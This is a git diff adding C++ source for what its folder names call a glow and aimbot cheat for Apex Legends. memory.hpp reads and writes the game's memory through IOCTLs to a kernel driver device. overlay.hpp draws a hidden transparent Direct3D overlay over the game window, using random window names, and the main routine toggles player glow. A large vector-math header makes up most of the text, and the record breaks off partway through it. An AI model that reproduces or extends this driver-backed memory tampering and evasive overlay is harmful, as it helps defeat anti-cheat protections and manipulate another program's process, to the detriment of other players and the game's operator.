std::endl; + std::string line; + getline(std::cin, line); + + if (line.size()) + if (line[0] == 'q' || line[0] == 'Q') break; + } + + g_thread = false; + + // 关闭辉光 + glow_players(false); + + return 0; +} + +int __stdcall WinMain__( + _In_ HINSTANCE hInstance, + _In_opt_ HINSTANCE hPrevInstance, + _In_ LPSTR lpCmdLine, + _In_ int nShowCmd) +{ + HANDLE hDriver = open_device(); + if (hDriver == 0) return 0; + + HWND hWnd = FindWindowA("Respawn001", "Apex Legends"); + if (hWnd) + { + overlay* g = new overlay(hWnd); + g->create_overlay_window(); + g->initialize(); + g->message_handle(); + } + + return 0; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/memory.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/memory.hpp" new file mode 100644 index 0000000..c7e2559 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/memory.hpp" @@ -0,0 +1,236 @@ +#pragma once + +#include +#include + +const wchar_t* symbols = L"\\\\.\\{ED2761FC-91F4-4E1E-A441-19117D9FAC59}"; + +HANDLE g_device = INVALID_HANDLE_VALUE; + +//ȡṹ +struct KB_READ_PROCESS_MEMORY_IN +{ + UINT64 ProcessId; + PVOID BaseAddress; + PVOID Buffer; + ULONG Size; +}; + +//дṹ +struct KB_WRITE_PROCESS_MEMORY_IN +{ + UINT64 ProcessId; + PVOID BaseAddress; + PVOID Buffer; + ULONG Size; + BOOLEAN PerformCopyOnWrite; +}; + +//Patternṹ +struct KB_FIND_SIGNATURE_IN +{ + UINT64 ProcessId; + PVOID Memory; + ULONG Size; + LPCSTR Signature; + LPCSTR Mask; +}; + +//Patternṹ +struct KB_FIND_SIGNATURE_OUT +{ + PVOID Address; +}; + +/* IOCTL */ +BOOL SendIOCTL( + IN HANDLE hDevice, + IN DWORD Ioctl, + IN PVOID InputBuffer, + IN ULONG InputBufferSize, + IN PVOID OutputBuffer, + IN ULONG OutputBufferSize, + OPTIONAL OUT PDWORD BytesReturned = NULL, + OPTIONAL IN DWORD Method = 3) +{ + DWORD RawIoctl = CTL_CODE(0x8000, Ioctl, Method, FILE_ANY_ACCESS); + DWORD Returned = 0; + BOOL Status = DeviceIoControl(hDevice, RawIoctl, InputBuffer, InputBufferSize, OutputBuffer, OutputBufferSize, &Returned, NULL); + if (BytesReturned) *BytesReturned = Returned; + return Status; +} + +/* */ +BOOL KbSendRequest( + int Index, + IN PVOID Input = NULL, + ULONG InputSize = 0, + OUT PVOID Output = NULL, + ULONG OutputSize = 0) +{ + if (g_device) return SendIOCTL(g_device, 0x800 + Index, Input, InputSize, Output, OutputSize); + MessageBoxA(0, 0, 0, 0); + return 0; +} + +/* дڴ */ +BOOL KbWriteProcessMemory( + ULONG ProcessId, + OUT PVOID BaseAddress, + IN PVOID Buffer, + ULONG Size, + BOOLEAN PerformCopyOnWrite = FALSE) +{ + if (!ProcessId || !BaseAddress || !Buffer || !Size) return FALSE; + KB_WRITE_PROCESS_MEMORY_IN Input = {}; + Input.ProcessId = ProcessId; + Input.BaseAddress = BaseAddress; + Input.Buffer = reinterpret_cast(Buffer); + Input.Size = Size; + Input.PerformCopyOnWrite = PerformCopyOnWrite; + return KbSendRequest(65, &Input, sizeof(Input)); +} + +/* ȡڴ */ +BOOL KbReadProcessMemory( + ULONG ProcessId, + IN PVOID BaseAddress, + OUT PVOID Buffer, + ULONG Size) +{ + if (!ProcessId || !BaseAddress || !Buffer || !Size) return FALSE; + KB_READ_PROCESS_MEMORY_IN Input = {}; + Input.ProcessId = ProcessId; + Input.BaseAddress = BaseAddress; + Input.Buffer = reinterpret_cast(Buffer); + Input.Size = Size; + return KbSendRequest(64, &Input, sizeof(Input)); +} + +/* ģʽƥ */ +BOOL WINAPI KbFindSignature( + OPTIONAL ULONG ProcessId, + PVOID Memory, + ULONG Size, + LPCSTR Signature, + LPCSTR Mask, + OUT PVOID* FoundAddress) +{ + if (!FoundAddress) return FALSE; + KB_FIND_SIGNATURE_IN Input = {}; + KB_FIND_SIGNATURE_OUT Output = {}; + Input.ProcessId = ProcessId; + Input.Memory = Memory; + Input.Size = Size; + Input.Signature = reinterpret_cast(Signature); + Input.Mask = reinterpret_cast(Mask); + BOOL Status = KbSendRequest(94, &Input, sizeof(Input), &Output, sizeof(Output)); + *FoundAddress = Output.Address; + return Status; +} + +/* ȡڴ */ +template +T read(DWORD32 process_id, DWORD64 addr) +{ + T result{}; + int size = sizeof(T); + + KbReadProcessMemory((ULONG)process_id, (PVOID)addr, (PVOID)&result, (ULONG)size); + return result; +} + +/* дڴ */ +template +void write(DWORD32 process_id, DWORD64 addr, T buf) +{ + int size = sizeof(T); + KbWriteProcessMemory((ULONG)process_id, (PVOID)addr, (PVOID)&buf, (ULONG)size, FALSE); +} + +/* ģʽƥ */ +std::vector find_pattern(DWORD32 prcess_id, LPCSTR sig, LPCSTR mask, INT size, PVOID beg, PVOID stop) +{ + std::vector res; + + PVOID cur = beg; + while (true) + { + if (cur < stop) + { + if (KbFindSignature(prcess_id, cur, size, sig, mask, &beg)) res.push_back((DWORD64)cur); + else break; + } + else break; + } + + return res; +} + +/* 豸 */ +HANDLE open_device(LPCWSTR NativeDeviceName = symbols) +{ + g_device = CreateFileW(NativeDeviceName, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + return g_device; +} + +/* ȡID */ +int get_process_id(const char* process) +{ + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (Snap == INVALID_HANDLE_VALUE) return false; + + PROCESSENTRY32 ProcessInfo{ 0 }; + ProcessInfo.dwSize = sizeof(ProcessInfo); + + if (Process32First(Snap, &ProcessInfo)) + { + do + { + if (strcmp(process, ProcessInfo.szExeFile) == 0) + { + CloseHandle(Snap); + return ProcessInfo.th32ProcessID; + } + } while (Process32Next(Snap, &ProcessInfo)); + } + + CloseHandle(Snap); + return 0; +} + +/* ָģ */ +MODULEENTRY32 find_module(const char* name, int pid) +{ + MODULEENTRY32 Result{ 0 }; + Result.dwSize = sizeof(Result); + + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid); + if (Snap == INVALID_HANDLE_VALUE) + { + int code = GetLastError(); + return Result; + } + + if (Module32First(Snap, &Result)) + { + do + { + if (strcmp(name, Result.szModule) == 0) + { + CloseHandle(Snap); + return Result; + } + } while (Module32Next(Snap, &Result)); + } + + CloseHandle(Snap); + return {}; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/overlay.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/overlay.hpp" new file mode 100644 index 0000000..bc097a5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/overlay.hpp" @@ -0,0 +1,235 @@ +#pragma once +#define _CRT_SECURE_NO_WARNINGS + +#include +#pragma comment(lib,"d3d9.lib") + +#include +#pragma comment(lib,"d3dx9.lib") + +#include +#pragma comment(lib, "dwmapi.lib") + +#include +#include + +#include + +#include "cheats.hpp" + +class overlay +{ +private: + IDirect3D9* m_IDirect3D9; + IDirect3DDevice9* m_IDirect3DDevice9; + + ID3DXLine* m_ID3DXLine; + ID3DXFont* m_ID3DXFont; + + D3DPRESENT_PARAMETERS m_D3DPRESENT_PARAMETERS; + + HWND m_hwnd; + HWND m_game; + + /* ַ */ + char* random_string() + { + static std::vector maps{ 'q','w','e','r','t','y','u','i','o','p','l','k','j','h','g','f','d','s','a','z','x','c','v','b','n','m','Q','A','Z','W','S','X','E','D','C','R','F','V','T','G','B','Y','H','N','U','J','M','I','K','O','L','P','1','2','3','4','5','6','7','8','9','0' }; + static char buffer[100]{ 0 }; + + srand((unsigned)time(nullptr)); + for (int i = 0; i < 30; i++) buffer[i] = maps[rand() % maps.size()]; + return buffer; + } + + /* ڹ */ + static LRESULT CALLBACK window_process(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) + { + static MARGINS margins{ 0 }; + + switch (uMsg) + { + case WM_CREATE: + DwmExtendFrameIntoClientArea(hWnd, &margins); + return 1; + case WM_CLOSE: + PostQuitMessage(0); + return 1; + } + return DefWindowProcA(hWnd, uMsg, wParam, lParam); + } + +public: + overlay(HWND hWnd) : m_game(hWnd) {} + ~overlay() {} + + /* һ͸ */ + bool create_overlay_window() + { + char sz_class[100]{ 0 }, sz_title[100]{ 0 }; + strcpy(sz_class, random_string()); + strcpy(sz_title, random_string()); + + WNDCLASSEXA window_class{ 0 }; + window_class.cbSize = sizeof(window_class); + window_class.hCursor = LoadCursor(0, IDC_ARROW); + window_class.hInstance = GetModuleHandle(NULL); + window_class.lpfnWndProc = window_process; + window_class.lpszClassName = sz_class; + window_class.style = CS_VREDRAW | CS_HREDRAW; + if (RegisterClassExA(&window_class) == 0) + { + MessageBoxA(nullptr, "RegisterClassExA", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + RECT rect{ 0 }; + GetWindowRect(m_game, &rect); + int x = rect.left; + int y = rect.top; + int width = rect.right - rect.left; + int height = rect.bottom - rect.top; + if (GetWindowLongA(m_game, GWL_STYLE) & WS_CAPTION) + { + x += 8; + width -= 8; + y += 30; + height -= 30; + } + + m_hwnd = CreateWindowExA(WS_EX_TOPMOST | WS_EX_TRANSPARENT | WS_EX_LAYERED, + sz_class, sz_title, WS_POPUP, x, y, width, height, NULL, NULL, GetModuleHandle(NULL), NULL); + if (m_hwnd == NULL) + { + MessageBoxA(nullptr, "CreateWindowExA", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + SetLayeredWindowAttributes(m_hwnd, 0, RGB(0, 0, 0), LWA_COLORKEY); + UpdateWindow(m_hwnd); + ShowWindow(m_hwnd, SW_SHOW); + + return true; + } + + /* Ϣѭ */ + void message_handle() + { + MSG msg{ 0 }; + while (msg.message != WM_QUIT) + { + if (PeekMessageA(&msg, 0, 0, 0, PM_REMOVE)) + { + TranslateMessage(&msg); + DispatchMessageA(&msg); + } + else + { + RECT rect{ 0 }; + GetWindowRect(m_game, &rect); + int x = rect.left; + int y = rect.top; + int width = rect.right - rect.left; + int height = rect.bottom - rect.top; + if (GetWindowLongA(m_game, GWL_STYLE) & WS_CAPTION) + { + x += 8; + width -= 8; + y += 30; + height -= 30; + } + + MoveWindow(m_hwnd, x, y, width, height, TRUE); + + render(); + } + } + } + + /* ʼ */ + bool initialize() + { + m_IDirect3D9 = Direct3DCreate9(D3D_SDK_VERSION); + if (m_IDirect3D9 == nullptr) + { + MessageBoxA(nullptr, "Direct3DCreate9", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + memset(&m_D3DPRESENT_PARAMETERS, 0, sizeof(m_D3DPRESENT_PARAMETERS)); + m_D3DPRESENT_PARAMETERS.Windowed = TRUE; + m_D3DPRESENT_PARAMETERS.SwapEffect = D3DSWAPEFFECT_DISCARD; + m_D3DPRESENT_PARAMETERS.BackBufferFormat = D3DFMT_UNKNOWN; + m_D3DPRESENT_PARAMETERS.EnableAutoDepthStencil = TRUE; + m_D3DPRESENT_PARAMETERS.AutoDepthStencilFormat = D3DFMT_D16; + m_D3DPRESENT_PARAMETERS.PresentationInterval = D3DPRESENT_INTERVAL_ONE; + HRESULT result = m_IDirect3D9->CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, m_hwnd, D3DCREATE_HARDWARE_VERTEXPROCESSING, &m_D3DPRESENT_PARAMETERS, &m_IDirect3DDevice9); + if (result != D3D_OK) + { + MessageBoxA(nullptr, "CreateDevice", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + result = D3DXCreateLine(m_IDirect3DDevice9, &m_ID3DXLine); + if (result != D3D_OK) + { + MessageBoxA(nullptr, "D3DXCreateLine", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + result = D3DXCreateFontA(m_IDirect3DDevice9, 20, 0, FW_DONTCARE, D3DX_DEFAULT, FALSE, DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, DEFAULT_QUALITY, FF_DONTCARE, "Arial", &m_ID3DXFont);//Arial Vernada + if (result != D3D_OK) + { + MessageBoxA(nullptr, "D3DXCreateFontA", "", MB_OK | MB_ICONHAND); + exit(-1); + } + + return true; + } + + /* Ⱦ */ + void render_rect(float x, float y, float width, float height, D3DCOLOR color = D3DCOLOR_ARGB(255, 0, 0, 255), float size = 1.0f) + { + D3DXVECTOR2 vextor[5]{ {x,y},{x + width,y},{x + width,y + height},{x,y + height},{x,y} }; + m_ID3DXLine->SetWidth(size); + m_ID3DXLine->Draw(vextor, 5, color); + } + + /* Ⱦı */ + void render_text(long x, long y, const char* text, D3DCOLOR color = D3DCOLOR_ARGB(255, 0, 0, 255)) + { + RECT rect{ x,y }; + m_ID3DXFont->DrawTextA(nullptr, text, -1, &rect, DT_CALCRECT, color); + m_ID3DXFont->DrawTextA(nullptr, text, -1, &rect, DT_LEFT, color); + } + + /* Ⱦ߶ */ + void render_line(float left, float top, float right, float down, D3DCOLOR color = D3DCOLOR_ARGB(255, 0, 0, 255), float size = 1.0f) + { + D3DXVECTOR2 vextor[2]{ {left,top},{right,down} }; + m_ID3DXLine->SetWidth(size); + m_ID3DXLine->Draw(vextor, 2, color); + } + + /* Ⱦ */ + void render() + { + if (m_IDirect3DDevice9) + { + m_IDirect3DDevice9->Clear(0, 0, D3DCLEAR_TARGET, 0, 1.0f, 0); + if (SUCCEEDED(m_IDirect3DDevice9->BeginScene())) + { + if (m_game == GetForegroundWindow()) + { + //дԼȾ + //render_rect(10, 10, 200, 200); + //render_text(50, 50, "Dz", D3DCOLOR_ARGB(255, 255, 255, 0)); + //render_line(100, 100, 300, 300, D3DCOLOR_ARGB(255, 0, 255, 0), 3.0f); + } + + m_IDirect3DDevice9->EndScene(); + } + m_IDirect3DDevice9->Present(0, 0, 0, 0); + } + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/vectors.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/vectors.hpp" new file mode 100644 index 0000000..70feead --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\350\207\252\347\236\204] [\345\216\237\345\247\213\347\211\210\346\234\254]/vectors.hpp" @@ -0,0 +1,1439 @@ +#include +#include + +#define Assert( _exp ) ((void)0) + +#define FastSqrt(x) (sqrt)(x) + +#define M_PI 3.14159265358979323846 // matches value in gcc v2 math.h + +#define M_PI_F ((float)(M_PI)) // Shouldn't collide with anything. + +#define M_PHI 1.61803398874989484820 // golden ratio + +// NJS: Inlined to prevent floats from being autopromoted to doubles, as with the old system. +#ifndef RAD2DEG +#define RAD2DEG( x ) ( (float)(x) * (float)(180.f / M_PI_F) ) +#endif + +#ifndef DEG2RAD +#define DEG2RAD( x ) ( (float)(x) * (float)(M_PI_F / 180.f) ) +#endif + +// MOVEMENT INFO +enum +{ + PITCH = 0, // up / down + YAW, // left / right + ROLL // fall over +}; + +// decls for aligning data + +#define DECL_ALIGN(x) __attribute__((aligned(x))) + +#define ALIGN16 DECL_ALIGN(16) +#define VALVE_RAND_MAX 0x7fff +#define VectorExpand(v) (v).x, (v).y, (v).z + +struct matrix3x4_t +{ + matrix3x4_t() {} + matrix3x4_t( + float m00, float m01, float m02, float m03, + float m10, float m11, float m12, float m13, + float m20, float m21, float m22, float m23) + { + m_flMatVal[0][0] = m00; m_flMatVal[0][1] = m01; m_flMatVal[0][2] = m02; m_flMatVal[0][3] = m03; + m_flMatVal[1][0] = m10; m_flMatVal[1][1] = m11; m_flMatVal[1][2] = m12; m_flMatVal[1][3] = m13; + m_flMatVal[2][0] = m20; m_flMatVal[2][1] = m21; m_flMatVal[2][2] = m22; m_flMatVal[2][3] = m23; + } + + float* operator[](int i) { Assert((i >= 0) && (i < 3)); return m_flMatVal[i]; } + const float* operator[](int i) const { Assert((i >= 0) && (i < 3)); return m_flMatVal[i]; } + float* Base() { return &m_flMatVal[0][0]; } + const float* Base() const { return &m_flMatVal[0][0]; } + + float m_flMatVal[3][4]; +}; + +class VMatrix +{ +public: + + VMatrix() {} + VMatrix( + float m00, float m01, float m02, float m03, + float m10, float m11, float m12, float m13, + float m20, float m21, float m22, float m23, + float m30, float m31, float m32, float m33 + ) { + m[0][0] = m00; + m[0][1] = m01; + m[0][2] = m02; + m[0][3] = m03; + + m[1][0] = m10; + m[1][1] = m11; + m[1][2] = m12; + m[1][3] = m13; + + m[2][0] = m20; + m[2][1] = m21; + m[2][2] = m22; + m[2][3] = m23; + + m[3][0] = m30; + m[3][1] = m31; + m[3][2] = m32; + m[3][3] = m33; + } + + // array access + inline float* operator[](int i) + { + return m[i]; + } + + inline const float* operator[](int i) const + { + return m[i]; + } + + // Get a pointer to m[0][0] + inline float* Base() + { + return &m[0][0]; + } + + inline const float* Base() const + { + return &m[0][0]; + } + +public: + // The matrix. + float m[4][4]; +}; + +class Vector +{ +public: + float x, y, z; + Vector(void); + Vector(float X, float Y, float Z); + void Init(float ix = 0.0f, float iy = 0.0f, float iz = 0.0f); + bool IsValid() const; + float operator[](int i) const; + float& operator[](int i); + inline void Zero(); + bool operator==(const Vector& v) const; + bool operator!=(const Vector& v) const; + inline Vector& operator+=(const Vector& v); + inline Vector& operator-=(const Vector& v); + inline Vector& operator*=(const Vector& v); + inline Vector& operator*=(float s); + inline Vector& operator/=(const Vector& v); + inline Vector& operator/=(float s); + inline Vector& operator+=(float fl); + inline Vector& operator-=(float fl); + inline float Length() const; + inline float LengthSqr(void) const + { + return (x * x + y * y + z * z); + } + bool IsZero(float tolerance = 0.01f) const + { + return (x > -tolerance && x < tolerance && + y > -tolerance && y < tolerance && + z > -tolerance && z < tolerance); + } + Vector Normalize(); + void NormalizeInPlace(); + inline float DistTo(const Vector& vOther) const; + inline float DistToSqr(const Vector& vOther) const; + float Dot(const Vector& vOther) const; + float Length2D(void) const; + float Length2DSqr(void) const; + Vector& operator=(const Vector& vOther); + Vector operator-(void) const; + Vector operator+(const Vector& v) const; + Vector operator-(const Vector& v) const; + Vector operator*(const Vector& v) const; + Vector operator/(const Vector& v) const; + Vector operator*(float fl) const; + Vector operator/(float fl) const; + // Base address... + float* Base(); + float const* Base() const; +}; + +//=============================================== +inline void Vector::Init(float ix, float iy, float iz) +{ + x = ix; y = iy; z = iz; +} +//=============================================== +inline Vector::Vector(float X, float Y, float Z) +{ + x = X; y = Y; z = Z; +} +//=============================================== +inline Vector::Vector(void) { Zero(); } +//=============================================== +inline void Vector::Zero() +{ + x = y = z = 0.0f; +} +//=============================================== +inline void VectorClear(Vector& a) +{ + a.x = a.y = a.z = 0.0f; +} +//=============================================== +inline Vector& Vector::operator=(const Vector& vOther) +{ + x = vOther.x; y = vOther.y; z = vOther.z; + return *this; +} +//=============================================== +inline float& Vector::operator[](int i) +{ + Assert((i >= 0) && (i < 3)); + return ((float*)this)[i]; +} +//=============================================== +inline float Vector::operator[](int i) const +{ + Assert((i >= 0) && (i < 3)); + return ((float*)this)[i]; +} +//=============================================== +inline bool Vector::operator==(const Vector& src) const +{ + return (src.x == x) && (src.y == y) && (src.z == z); +} +//=============================================== +inline bool Vector::operator!=(const Vector& src) const +{ + return (src.x != x) || (src.y != y) || (src.z != z); +} +//=============================================== +inline void VectorCopy(const Vector& src, Vector& dst) +{ + dst.x = src.x; + dst.y = src.y; + dst.z = src.z; +} +//=============================================== +inline Vector& Vector::operator+=(const Vector& v) +{ + x += v.x; y += v.y; z += v.z; + return *this; +} +//=============================================== +inline Vector& Vector::operator-=(const Vector& v) +{ + x -= v.x; y -= v.y; z -= v.z; + return *this; +} +//=============================================== +inline Vector& Vector::operator*=(float fl) +{ + x *= fl; + y *= fl; + z *= fl; + + return *this; +} +//=============================================== +inline Vector& Vector::operator*=(const Vector& v) +{ + x *= v.x; + y *= v.y; + z *= v.z; + + return *this; +} +//=============================================== +inline Vector& Vector::operator+=(float fl) +{ + x += fl; + y += fl; + z += fl; + + return *this; +} +//=============================================== +inline Vector& Vector::operator-=(float fl) +{ + x -= fl; + y -= fl; + z -= fl; + + return *this; +} +//=============================================== +inline Vector& Vector::operator/=(float fl) +{ + Assert(fl != 0.0f); + float oofl = 1.0f / fl; + x *= oofl; + y *= oofl; + z *= oofl; + + return *this; +} +//=============================================== +inline Vector& Vector::operator/=(const Vector& v) +{ + Assert(v.x != 0.0f && v.y != 0.0f && v.z != 0.0f); + x /= v.x; + y /= v.y; + z /= v.z; + + return *this; +} +//=============================================== +inline float Vector::Length(void) const +{ + float root = 0.0f; + + float sqsr = x * x + y * y + z * z; + + root = sqrt(sqsr); + + return root; +} +//=============================================== +inline float Vector::Length2D(void) const +{ + float root = 0.0f; + + float sqst = x * x + y * y; + + root = sqrt(sqst); + + return root; +} +//=============================================== +inline float Vector::Length2DSqr(void) const +{ + return (x * x + y * y); +} +//=============================================== +inline Vector CrossProduct(const Vector& a, const Vector& b) +{ + return Vector(a.y * b.z - a.z * b.y, a.z * b.x - a.x * b.z, a.x * b.y - a.y * b.x); +} +//=============================================== +float Vector::DistTo(const Vector& vOther) const +{ + Vector delta; + + delta.x = x - vOther.x; + delta.y = y - vOther.y; + delta.z = z - vOther.z; + + return delta.Length(); +} +float Vector::DistToSqr(const Vector& vOther) const +{ + Vector delta; + + delta.x = x - vOther.x; + delta.y = y - vOther.y; + delta.z = z - vOther.z; + + return delta.LengthSqr(); +} +//=============================================== +inline Vector Vector::Normalize() +{ + Vector vector; + float length = this->Length(); + + if (length != 0) + { + vector.x = x / length; + vector.y = y / length; + vector.z = z / length; + } + else + { + vector.x = vector.y = 0.0f; vector.z = 1.0f; + } + + return vector; +} +//=============================================== +inline void Vector::NormalizeInPlace() +{ + Vector& v = *this; + + float iradius = 1.f / (this->Length() + 1.192092896e-07F); //FLT_EPSILON + + v.x *= iradius; + v.y *= iradius; + v.z *= iradius; +} +//=============================================== +inline float VectorNormalize(Vector& v) +{ + Assert(v.IsValid()); + float l = v.Length(); + if (l != 0.0f) + { + v /= l; + } + else + { + // FIXME: + // Just copying the existing implemenation; shouldn't res.z == 0? + v.x = v.y = 0.0f; v.z = 1.0f; + } + return l; +} +//=============================================== +inline float VectorNormalize(float* v) +{ + return VectorNormalize(*(reinterpret_cast(v))); +} +//=============================================== +inline Vector Vector::operator+(const Vector& v) const +{ + Vector res; + res.x = x + v.x; + res.y = y + v.y; + res.z = z + v.z; + return res; +} + +//=============================================== +inline Vector Vector::operator-(const Vector& v) const +{ + Vector res; + res.x = x - v.x; + res.y = y - v.y; + res.z = z - v.z; + return res; +} +//=============================================== +inline Vector Vector::operator*(float fl) const +{ + Vector res; + res.x = x * fl; + res.y = y * fl; + res.z = z * fl; + return res; +} +//=============================================== +inline Vector Vector::operator*(const Vector& v) const +{ + Vector res; + res.x = x * v.x; + res.y = y * v.y; + res.z = z * v.z; + return res; +} +//=============================================== +inline Vector Vector::operator/(float fl) const +{ + Vector res; + res.x = x / fl; + res.y = y / fl; + res.z = z / fl; + return res; +} +//=============================================== +inline Vector Vector::operator/(const Vector& v) const +{ + Vector res; + res.x = x / v.x; + res.y = y / v.y; + res.z = z / v.z; + return res; +} +inline float Vector::Dot(const Vector& vOther) const +{ + const Vector& a = *this; + + return(a.x * vOther.x + a.y * vOther.y + a.z * vOther.z); +} + +//----------------------------------------------------------------------------- +// length +//----------------------------------------------------------------------------- + +inline float VectorLength(const Vector& v) +{ + return (float)FastSqrt(v.x * v.x + v.y * v.y + v.z * v.z); +} + +//VECTOR SUBTRAC +inline void VectorSubtract(const Vector& a, const Vector& b, Vector& c) +{ + c.x = a.x - b.x; + c.y = a.y - b.y; + c.z = a.z - b.z; +} + +//VECTORADD +inline void VectorAdd(const Vector& a, const Vector& b, Vector& c) +{ + c.x = a.x + b.x; + c.y = a.y + b.y; + c.z = a.z + b.z; +} + +//----------------------------------------------------------------------------- +// Base address... +//----------------------------------------------------------------------------- +inline float* Vector::Base() +{ + return (float*)this; +} + +inline float const* Vector::Base() const +{ + return (float const*)this; +} + +inline void VectorMAInline(const float* start, float scale, const float* direction, float* dest) +{ + dest[0] = start[0] + direction[0] * scale; + dest[1] = start[1] + direction[1] * scale; + dest[2] = start[2] + direction[2] * scale; +} + +inline void VectorMAInline(const Vector& start, float scale, const Vector& direction, Vector& dest) +{ + dest.x = start.x + direction.x * scale; + dest.y = start.y + direction.y * scale; + dest.z = start.z + direction.z * scale; +} + +inline void VectorMA(const Vector& start, float scale, const Vector& direction, Vector& dest) +{ + VectorMAInline(start, scale, direction, dest); +} + +inline void VectorMA(const float* start, float scale, const float* direction, float* dest) +{ + VectorMAInline(start, scale, direction, dest); +} + +inline unsigned long& FloatBits(float& f) +{ + return *reinterpret_cast(&f); +} + +inline bool IsFinite(float f) +{ + return ((FloatBits(f) & 0x7F800000) != 0x7F800000); +} + +//========================================================= +// 2D Vector2D +//========================================================= + +class Vector2D +{ +public: + // Members + float x, y; + + // Construction/destruction + Vector2D(void); + Vector2D(float X, float Y); + Vector2D(const float* pFloat); + + // Initialization + void Init(float ix = 0.0f, float iy = 0.0f); + + // Got any nasty NAN's? + bool IsValid() const; + + // array access... + float operator[](int i) const; + float& operator[](int i); + + // Base address... + float* Base(); + float const* Base() const; + + // Initialization methods + void Random(float minVal, float maxVal); + + // equality + bool operator==(const Vector2D& v) const; + bool operator!=(const Vector2D& v) const; + + // arithmetic operations + Vector2D& operator+=(const Vector2D& v); + Vector2D& operator-=(const Vector2D& v); + Vector2D& operator*=(const Vector2D& v); + Vector2D& operator*=(float s); + Vector2D& operator/=(const Vector2D& v); + Vector2D& operator/=(float s); + + // negate the Vector2D components + void Negate(); + + // Get the Vector2D's magnitude. + float Length() const; + + // Get the Vector2D's magnitude squared. + float LengthSqr(void) const; + + // return true if this vector is (0,0) within tolerance + bool IsZero(float tolerance = 0.01f) const + { + return (x > -tolerance && x < tolerance && + y > -tolerance && y < tolerance); + } + + float Normalize(); + + // Normalize in place and return the old length. + float NormalizeInPlace(); + + // Compare length. + bool IsLengthGreaterThan(float val) const; + bool IsLengthLessThan(float val) const; + + // Get the distance from this Vector2D to the other one. + float DistTo(const Vector2D& vOther) const; + + // Get the distance from this Vector2D to the other one squared. + float DistToSqr(const Vector2D& vOther) const; + + // Copy + void CopyToArray(float* rgfl) const; + + // Multiply, add, and assign to this (ie: *this = a + b * scalar). This + // is about 12% faster than the actual Vector2D equation (because it's done per-component + // rather than per-Vector2D). + void MulAdd(const Vector2D& a, const Vector2D& b, float scalar); + + // Dot product. + float Dot(const Vector2D& vOther) const; + + // assignment + Vector2D& operator=(const Vector2D& vOther); + +#ifndef VECTOR_NO_SLOW_OPERATIONS + // copy constructors + Vector2D(const Vector2D& vOther); + + // arithmetic operations + Vector2D operator-(void) const; + + Vector2D operator+(const Vector2D& v) const; + Vector2D operator-(const Vector2D& v) const; + Vector2D operator*(const Vector2D& v) const; + Vector2D operator/(const Vector2D& v) const; + Vector2D operator*(float fl) const; + Vector2D operator/(float fl) const; + + // Cross product between two vectors. + Vector2D Cross(const Vector2D& vOther) const; + + // Returns a Vector2D with the min or max in X, Y, and Z. + Vector2D Min(const Vector2D& vOther) const; + Vector2D Max(const Vector2D& vOther) const; + +#else + +private: + // No copy constructors allowed if we're in optimal mode + Vector2D(const Vector2D& vOther); +#endif +}; + +//----------------------------------------------------------------------------- + +const Vector2D vec2_origin(0, 0); +//const Vector2D vec2_invalid(3.40282347E+38F, 3.40282347E+38F); + +//----------------------------------------------------------------------------- +// Vector2D related operations +//----------------------------------------------------------------------------- + +// Vector2D clear +void Vector2DClear(Vector2D& a); + +// Copy +void Vector2DCopy(const Vector2D& src, Vector2D& dst); + +// Vector2D arithmetic +void Vector2DAdd(const Vector2D& a, const Vector2D& b, Vector2D& result); +void Vector2DSubtract(const Vector2D& a, const Vector2D& b, Vector2D& result); +void Vector2DMultiply(const Vector2D& a, float b, Vector2D& result); +void Vector2DMultiply(const Vector2D& a, const Vector2D& b, Vector2D& result); +void Vector2DDivide(const Vector2D& a, float b, Vector2D& result); +void Vector2DDivide(const Vector2D& a, const Vector2D& b, Vector2D& result); +void Vector2DMA(const Vector2D& start, float s, const Vector2D& dir, Vector2D& result); + +// Store the min or max of each of x, y, and z into the result. +void Vector2DMin(const Vector2D& a, const Vector2D& b, Vector2D& result); +void Vector2DMax(const Vector2D& a, const Vector2D& b, Vector2D& result); + +#define Vector2DExpand( v ) (v).x, (v).y + +// Normalization +float Vector2DNormalize(Vector2D& v); + +// Length +float Vector2DLength(const Vector2D& v); + +// Dot Product +float DotProduct2D(const Vector2D& a, const Vector2D& b); + +// Linearly interpolate between two vectors +void 